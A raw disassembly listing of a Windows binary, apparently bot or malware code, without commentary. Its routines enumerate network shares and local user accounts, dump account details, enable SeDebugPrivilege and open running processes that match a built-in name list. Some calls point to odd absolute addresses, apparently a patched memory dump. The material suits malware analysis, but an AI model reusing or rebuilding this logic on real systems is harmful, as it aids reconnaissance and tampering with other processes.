		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB588
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439778
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB52C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6D4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4C0
		push	off_439084[eax*4]
		push	offset unk_439830
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4C0
		push	off_439080[eax*4]
		push	offset unk_439800
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4C0
		lea	eax, [eax+eax*2]
		push	off_439080[eax*4]
		push	offset unk_4397D8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB51C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB50C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB69C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439850
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6D4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5A4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A40
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A0C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6D4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6D4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB260
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB260
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB654
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB05C
		push	offset unk_439D74
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB05C
		push	eax
		push	offset dword_439D48
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 274051Ch
		push	eax
		call	dword_4CB628
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB600
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26809B4h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB664, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB648, ebx
		jz	loc_4198BC
		cmp	dword_4CB558, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB664
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB648
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB558
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DA0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2870000h
		nop
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E00
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
		call	near ptr 2730B86h
